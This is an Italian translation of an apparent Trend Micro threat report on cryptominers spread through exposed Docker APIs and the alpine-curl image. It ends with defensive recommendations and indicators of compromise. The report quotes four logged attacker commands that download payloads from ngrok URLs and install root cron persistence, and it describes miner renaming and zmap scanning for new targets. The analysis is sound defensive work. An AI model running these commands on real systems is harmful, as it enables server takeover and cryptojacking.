Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta

Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta

Abbiamo analizzato i dati raccolti utilizzando contenitori honeypot, che abbiamo creato per tenere traccia delle minacce. Inoltre, abbiamo rilevato un'attività significativa da parte di minatori di criptovaluta indesiderati o non autorizzati distribuiti come contenitori non autorizzati utilizzando un'immagine pubblicata dalla community su Docker Hub. L'immagine viene utilizzata come parte di un servizio che fornisce minatori di criptovaluta dannosi.

Inoltre, vengono installati programmi per lavorare con le reti per penetrare contenitori e applicazioni aperti vicini.

Lasciamo i nostri honeypot così come sono, cioè con le impostazioni predefinite, senza alcuna misura di sicurezza o successiva installazione di software aggiuntivo. Tieni presente che Docker fornisce consigli per la configurazione iniziale per evitare errori e semplici vulnerabilità. Ma gli honeypot utilizzati sono contenitori, progettati per rilevare attacchi mirati alla piattaforma di containerizzazione, non alle applicazioni all’interno dei contenitori.

Anche l'attività dannosa rilevata è degna di nota perché non richiede vulnerabilità ed è inoltre indipendente dalla versione Docker. Trovare un’immagine del contenitore configurata in modo errato, e quindi aperta, è tutto ciò di cui gli aggressori hanno bisogno per infettare molti server aperti.

L'API Docker non chiusa consente all'utente di eseguire un'ampia gamma di squadre, incluso l'ottenimento di un elenco di contenitori in esecuzione, il recupero di log da un contenitore specifico, l'avvio, l'arresto (incluso quello forzato) e persino la creazione di un nuovo contenitore da un'immagine specifica con le impostazioni specificate.

Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta
A sinistra c'è il metodo di distribuzione del malware. Sulla destra c’è l’ambiente dell’aggressore, che consente il lancio remoto delle immagini.

Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta
Distribuzione per paese di 3762 API Docker aperte. Basato sulla ricerca Shodan del 12.02.2019/XNUMX/XNUMX

Catena di attacco e opzioni di carico utile

L'attività dannosa è stata rilevata non solo con l'aiuto degli honeypot. I dati di Shodan mostrano che il numero di API Docker esposte (vedi secondo grafico) è aumentato da quando abbiamo indagato su un contenitore configurato in modo errato utilizzato come ponte per distribuire il software di mining di criptovaluta Monero. Nell’ottobre dello scorso anno (2018, dati attuali puoi assomigliare a questo ca. traduttore) c'erano solo 856 API aperte.

Un esame dei registri degli honeypot ha mostrato che anche l'uso dell'immagine del contenitore era associato all'uso di Ngrok, uno strumento per stabilire connessioni sicure o inoltrare traffico da punti accessibili pubblicamente a indirizzi o risorse specificati (ad esempio localhost). Ciò consente agli aggressori di creare dinamicamente URL durante la consegna del payload a un server aperto. Di seguito sono riportati esempi di codice tratti dai registri che mostrano l'abuso del servizio ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Come puoi vedere, i file caricati vengono scaricati da URL in continua evoluzione. Questi URL hanno una data di scadenza breve, quindi i payload non possono essere scaricati dopo la data di scadenza.

Sono disponibili due opzioni di carico utile. Il primo è un minatore ELF compilato per Linux (definito come Coinminer.SH.MALXMR.ATNO) che si connette al pool minerario. Il secondo è uno script (TrojanSpy.SH.ZNETMAP.A) progettato per ottenere determinati strumenti di rete utilizzati per scansionare gli intervalli di rete e quindi cercare nuovi obiettivi.

Lo script dropper imposta due variabili, che vengono poi utilizzate per distribuire il minatore di criptovaluta. La variabile HOST contiene l'URL in cui si trovano i file dannosi e la variabile RIP è il nome del file (in realtà l'hash) del minatore da distribuire. La variabile HOST cambia ogni volta che cambia la variabile hash. Lo script tenta inoltre di verificare che sul server attaccato non siano in esecuzione altri minatori di criptovaluta.

Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta
Esempi di variabili HOST e RIP, nonché uno snippet di codice utilizzato per verificare che nessun altro minatore sia in esecuzione

Prima di avviare il minatore, viene rinominato nginx. Altre versioni di questo script rinominano il minatore in altri servizi legittimi che potrebbero essere presenti negli ambienti Linux. Questo di solito è sufficiente per aggirare i controlli sull'elenco dei processi in esecuzione.

Lo script di ricerca ha anche funzionalità. Funziona con lo stesso servizio URL per distribuire gli strumenti necessari. Tra questi c'è il binario zmap, che viene utilizzato per scansionare le reti e ottenere un elenco di porte aperte. Lo script carica anche un altro binario che viene utilizzato per interagire con i servizi trovati e ricevere da essi banner per determinare informazioni aggiuntive sul servizio trovato (ad esempio, la sua versione).

Lo script predetermina inoltre alcuni intervalli di rete da scansionare, ma ciò dipende dalla versione dello script. Imposta inoltre le porte di destinazione dai servizi, in questo caso Docker, prima di eseguire la scansione.

Non appena vengono trovati possibili obiettivi, i banner vengono automaticamente rimossi da essi. Lo script filtra anche i target in base ai servizi, applicazioni, componenti o piattaforme di interesse: Redis, Jenkins, Drupal, MODX, Maestro Kubernetes, client Docker 1.16 e Apache CouchDB. Se il server scansionato corrisponde a qualcuno di questi, viene salvato in un file di testo, che gli aggressori possono successivamente utilizzare per successive analisi e hacking. Questi file di testo vengono caricati sui server degli aggressori tramite collegamenti dinamici. Cioè, per ogni file viene utilizzato un URL separato, il che significa che l'accesso successivo è difficile.

Il vettore di attacco è un'immagine Docker, come si può vedere nei prossimi due pezzi di codice.

Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta
In alto c'è la ridenominazione in un servizio legittimo e in basso c'è il modo in cui zmap viene utilizzato per scansionare le reti

Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta
In alto ci sono gli intervalli di rete predefiniti, in basso ci sono le porte specifiche per la ricerca di servizi, incluso Docker

Come vengono utilizzate l'API Docker non proprietaria e le immagini pubbliche della community per distribuire i miner di criptovaluta
Lo screenshot mostra che l'immagine del ricciolo alpino è stata scaricata più di 10 milioni di volte

Basato su Alpine Linux e curl, è possibile creare uno strumento CLI efficiente in termini di risorse per il trasferimento di file su vari protocolli Immagine Docker. Come puoi vedere nell'immagine precedente, questa immagine è già stata scaricata più di 10 milioni di volte. Un numero elevato di download può significare l'utilizzo di questa immagine come punto di ingresso; questa immagine è stata aggiornata più di sei mesi fa; gli utenti non hanno scaricato altre immagini da questo archivio così spesso. In Docker punto di ingresso - una serie di istruzioni utilizzate per configurare un contenitore per eseguirlo. Se le impostazioni del punto di ingresso non sono corrette (ad esempio, il contenitore viene lasciato aperto da Internet), l'immagine può essere utilizzata come vettore di attacco. Gli aggressori possono usarlo per consegnare un carico utile se trovano un contenitore aperto o configurato in modo errato e non supportato.

È importante notare che questa immagine (alpine-curl) in sé non è dannosa, ma come puoi vedere sopra, può essere utilizzata per eseguire funzioni dannose. Immagini Docker simili possono essere utilizzate anche per eseguire attività dannose. Abbiamo contattato Docker e abbiamo lavorato con loro su questo problema.

Raccomandazioni

Impostazione errata resti problema costante per molte aziende, soprattutto quelle che implementano DevOps, incentrato sullo sviluppo e sulla consegna rapidi. Il tutto è aggravato dalla necessità di rispettare le norme di audit e monitoraggio, dalla necessità di monitorare la riservatezza dei dati, nonché dall’enorme danno derivante dalla loro inosservanza. Incorporare l'automazione della sicurezza nel ciclo di vita dello sviluppo non solo ti aiuta a trovare buchi di sicurezza che altrimenti potrebbero non essere rilevati, ma ti aiuta anche a ridurre il carico di lavoro non necessario, come l'esecuzione di build software aggiuntive per ogni vulnerabilità scoperta o configurazione errata dopo la distribuzione di un'applicazione.

L’incidente discusso in questo articolo evidenzia la necessità di tenere conto della sicurezza fin dall’inizio, comprese le seguenti raccomandazioni:

  • Per amministratori di sistema e sviluppatori: controlla sempre le impostazioni API per assicurarti che tutto sia configurato per accettare solo richieste da un server specifico o da una rete interna.
  • Segui il principio dei diritti minimi: assicurati che le immagini del contenitore siano firmate e verificate, limita l'accesso ai componenti critici (servizio di lancio del contenitore) e aggiungi la crittografia alle connessioni di rete.
  • Seguire raccomandazioni e abilitare meccanismi di sicurezza, ad es. da Docker e integrato caratteristiche di sicurezza.
  • Utilizza la scansione automatizzata di runtime e immagini per ottenere informazioni aggiuntive sui processi in esecuzione nel contenitore (ad esempio, per rilevare spoofing o cercare vulnerabilità). Il controllo delle applicazioni e il monitoraggio dell'integrità aiutano a tenere traccia delle modifiche anomale a server, file e aree del sistema.

Trendmicro aiuta i team DevOps a creare in modo sicuro, implementare rapidamente e lanciare ovunque. TrendMicro Sicurezza del cloud ibrido Fornisce una sicurezza potente, semplificata e automatizzata nella pipeline DevOps di un'organizzazione e fornisce molteplici difese contro le minacce Xgen per proteggere i carichi di lavoro fisici, virtuali e cloud in fase di esecuzione. Aggiunge anche la sicurezza del contenitore con Sicurezza profonda и Controllo intelligente della sicurezza approfondita, che scansionano le immagini del contenitore Docker alla ricerca di malware e vulnerabilità in qualsiasi momento della pipeline di sviluppo per prevenire le minacce prima che vengano distribuite.

Segni di compromesso

Hash correlati:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Su Videocorso Docker I relatori esperti mostrano quali impostazioni devono essere effettuate per prime per ridurre al minimo la probabilità o evitare completamente il verificarsi della situazione sopra descritta. E dal 19 al 21 agosto ad un intensivo online Strumenti e trucchi DevOps Puoi discutere questi e simili problemi di sicurezza con colleghi e insegnanti praticanti in una tavola rotonda, dove tutti possono parlare e ascoltare le sofferenze e i successi dei colleghi esperti.

Fonte: habr.com

Aggiungi un commento